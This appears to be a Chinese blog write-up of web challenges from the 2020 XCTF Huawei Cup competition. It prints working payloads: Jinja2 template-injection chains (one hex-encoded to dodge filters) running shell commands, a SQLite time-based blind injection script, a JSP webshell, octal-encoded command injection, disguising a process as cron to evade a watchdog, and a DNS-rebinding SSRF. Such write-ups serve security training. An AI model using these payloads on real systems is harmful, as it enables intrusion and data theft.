2020-XCTF-华为杯-Web-WP

还是 tcl

Posted by BY Diego on December 28, 2020

mine1_1

referer头等于 args

((request|attr(request.referrer)).a) => request.args.a

{ {((()|attr(((request|attr(request.referrer)).a))|attr(((request|attr(request.referrer)).b))|attr(((request|attr(request.referrer)).c))())|attr(((request|attr(request.referrer)).d))(149))|attr(((request|attr(request.referrer)).e))|attr(((request|attr(request.referrer)).f))|attr(((request|attr(request.referrer)).d))(((request|attr(request.referrer)).g))|attr(((request|attr(request.referrer)).d))(((request|attr(request.referrer)).h))(((request|attr(request.referrer)).m))} }&a=__class__&b=__base__&c=__subclasses__&d=__getitem__&e=__init__&f=__globals__&g=__builtins__&h=eval&m=__import__("os").popen("cat * |grep flag").read()

pyer

sqlite 时间盲注

import requests
import time

url = r'http://124.71.134.84:30101/login'
result = ''

flag = ''

for x in range(0,200) :
	max = 127
	min = 32
	mid = (max + min) //2

	while min <max :
		payload = "' or (select case  when (substr((SELECT sql FROM sqlite_master WHERE type='table' ),{0},1)>char({1}) ) then randomblob(5000000) else 1 end) or  '".format(x,mid)
		data = {
			'username':payload,
			'password':"1",
			'submit':"1"
			}
		
		print payload
		try:
			now = time.time()
			res = requests.post(url,data = data)
			#print(time.time()-now)
			if time.time()-now >0.3 :   # zhen
				min = mid +1 
			else:
				max = mid 
		except Exception as e:
			print  e
		mid = (max + min)// 2

	flag = flag + chr(int(mid))
	print flag

得到密码 sqlite_not_safe

联合查询 存在ssti

 union select '{ % for c in [].__class__.__base__.__subclasses__() % }{ % if c.__name__=="catch_warnings" % }{ {  c.__init__.__globals__["__builtins__"].eval("__import__(\"os\").popen(\"cat * |grep flag\").read()") } }{ % endif % }{ % endfor % }' --'

WEBSHELL_1

直接上传一个jsp文件执行命令即可。

<%
        java.io.InputStream in = Runtime.getRuntime().exec("cat /flag").getInputStream();;
        int a = -1;
        byte[] b = new byte[2048];
        out.print("<pre>");
        while((a=in.read(b))!=-1){
            out.println(new String(b));
        }
        out.print("</pre>");
%>

MINE2

双引号与attr没有被过滤

所以可以16进制绕过加结合attr

http://124.70.199.122:32075/success?msg={ %print(()|attr(%22\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x6d\x72\x6f\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(1)|attr(%22\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f%22)()|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(202)|attr(%22\x5f\x5f\x69\x6e\x69\x74\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f%22)|attr(%22\x5f\x5f\x67\x65\x74\x69\x74\x65\x6d\x5f\x5f%22)(%22eval%22)(%22\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x70\x6f\x70\x65\x6e\x28\x27\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x74\x78\x74\x27\x29\x2e\x20\x72\x65\x61\x64\x28\x29%22))% }

hids

过滤了许多,最后发现可以使用

$(printf$IFS$9"\154\163")

来任意执行命令(八进制绕过)。

于是写了一个python文件来生成命令

while True:
    flags = "$(printf$IFS$9\""
    s = raw_input()
    for i in range(len(s)):
        tmp = oct(ord(s[i]))
        flags += "\\"
        if len(tmp) == 4:
            tmp = tmp[1:]
        flags += tmp
    flags += "\")"
    print flagss

cat了detect.py文件的内容:

import os,signal

out=os.popen("ps -ef").read()

for line in list(out.splitlines())[1:]:
    try:
        pid = int(line.split()[1])
        ppid = int(line.split()[2])
        cmd = " ".join(line.split()[7:])
        if ppid in [0,1] and cmd in ["/usr/local/bin/python3.8 /home/ctf/web/app.py","/usr/sbin/cron","/usr/bin/tail -f /var/log/cron","/usr/local/bin/python3.8 /detect.py","/bin/sh -c /usr/sbin/cron && /usr/bin/tail -f /var/log/cron"]:
            continue
        os.kill(pid,signal.SIGKILL)
    except Exception as e:
        pass

发现只要使/readflag进程ppid为1且进程名字在上述白名单里就不会被kill。

进程名字可以通过exec -a 来设置。后台运行的子进程在父进程被kill掉后,ppid会变。

所以执行

bash -c exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &

即可符合上述两个条件

exec -a /usr/sbin/cron /readflag > /tmp/flag.txt &

写入到文件里,加执行权限,用bash -c 执行即可。

90s后在/tmp/flag.txt里拿到flag

babyphp

打开是一个端口扫描系统,随手一测发现有flag.php,点击scan后发现

Port scan is deperacted and try to find the source code! // Google is your best friend

直接去github上搜索,发现该系统源码。

https://github.com/search?l=PHP&q=%3Cinput+type%3D%22text%22+name%3D%22port%22+value%3D%2280%2C8080%2C8888%2C1433%2C3306%22%3E&type=Code

虽然题目环境port scan功能已经没了,但是还有一个

if($url != null){ 

    $host = getHost($url); 
    echo getCss($host,getHtmlContext($url)); 
}

的功能。

通过

$csshtml = "<style>".file_get_contents($cssurl)."</style>"; 

去读flag.php

所以自己vps上放一个内容为

<link href='./.css/../../flag.php'>

的文件。

rcg95q.png

Cloudstorage

dns 重绑定

本地访问127.0.0.1/flag 才可获得

/admin 路由可以发送帮助发送请求

const cp = require('child_process')
const ip = require('ip')
const url = require('url');
const {docker} = require("./docker.js")

const checkip = function (value) {
    let pattern = /^\d{1,3}(\.\d{1,3}){3}$/;
    if (!pattern.exec(value))
        return false;
    let ary = value.split('.');
    for(let key in ary)
    {
        if (parseInt(ary[key]) > 255)
            return false;
    }
    return true ;
}

const dnslookup = function(s) {
    if (typeof(s) == 'string' && !s.match(/[^\w-.]/)) {
        let query = '';
        try {
            query = JSON.parse(cp.execSync(`curl http://ip-api.com/json/${s}`)).query
        } catch (e) {
            return 'wrong'
        }
        return checkip(query) ? query : 'wrong'
    } else return 'wrong'
}

const check = function(s) {
    if (!typeof (s) == 'string' || !s.match(/^http\:\/\//))
        return false

    let blacklist = ['wrong', '127.', 'local', '@', 'flag']
    let host, port, dns;

    host = url.parse(s).hostname
    port = url.parse(s).port
    if ( host == null || port == null)
        return false

    dns = dnslookup(host);
    if ( ip.isPrivate(dns) || dns != docker.ip || ['80','8080'].includes(port) )
        return false

    for (let i = 0; i < blacklist.length; i++)
    {
        let regex = new RegExp(blacklist[i], 'i');
        try {
            if (ip.fromLong(s.replace(/[^\d]/g,'').substr(0,10)).match(regex))
                return false
        } catch (e) {}
        if (s.match(regex))
            return false
    }
    return true
}

exports.check = check

dnslookup 会请求url的真实ip,存在let blacklist = ['wrong', '127.', 'local', '@', 'flag']限制

利用dns重绑定 payload

fileurl=http://7925af9a.b65c40b3.rbndr.us:8001/index.php

自己vps 8001 上的index.php

<?php
header('Location:http://127.0.0.1/flag');

第一检测 获取到 题目服务器ip 通过check

第二次检测 获取自己vps的ip 然后跳转到 他的127.0.0.1/flag

华为HCIE的第一课

存在任意文件读取,获取源码

login.js 变量拼接,之后原型链污染

/admin 路由存在模板注入